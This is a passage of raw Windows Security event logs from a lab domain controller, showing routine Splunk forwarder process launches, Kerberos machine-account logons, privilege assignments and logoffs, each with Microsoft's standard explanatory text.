Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:41:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255854
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13b4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:41:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255855
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x448
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:41:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255857
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x375C8C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1315B027-D61C-A152-E46C-74A6DCC39304}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64824

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:41:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255856
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x375C8C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:41:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255858
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x375C8C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:41:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255861
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3768D1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:41:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255860
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3768D1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64832

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:41:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255859
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3768D1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:42:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255867
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x376BA2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:42:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255866
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x376BA2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64836

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:42:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255865
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x376BA2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:42:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255864
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x376B36

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:42:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255863
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x376B36
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64835

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:42:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255862
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x376B36

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:42:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255868
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe50
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:42:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255880
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x113c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:42:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255879
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x377407

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:42:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255878
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x377515

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:42:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255877
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x37755D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:42:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255876
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3775D1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64841

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:42:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255875
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3775D1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:42:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255874
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x37755D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64840

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:42:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255873
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x37755D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:42:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255872
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x377515
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:42:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255871
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x377515

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:42:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255870
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x377407
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64839

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

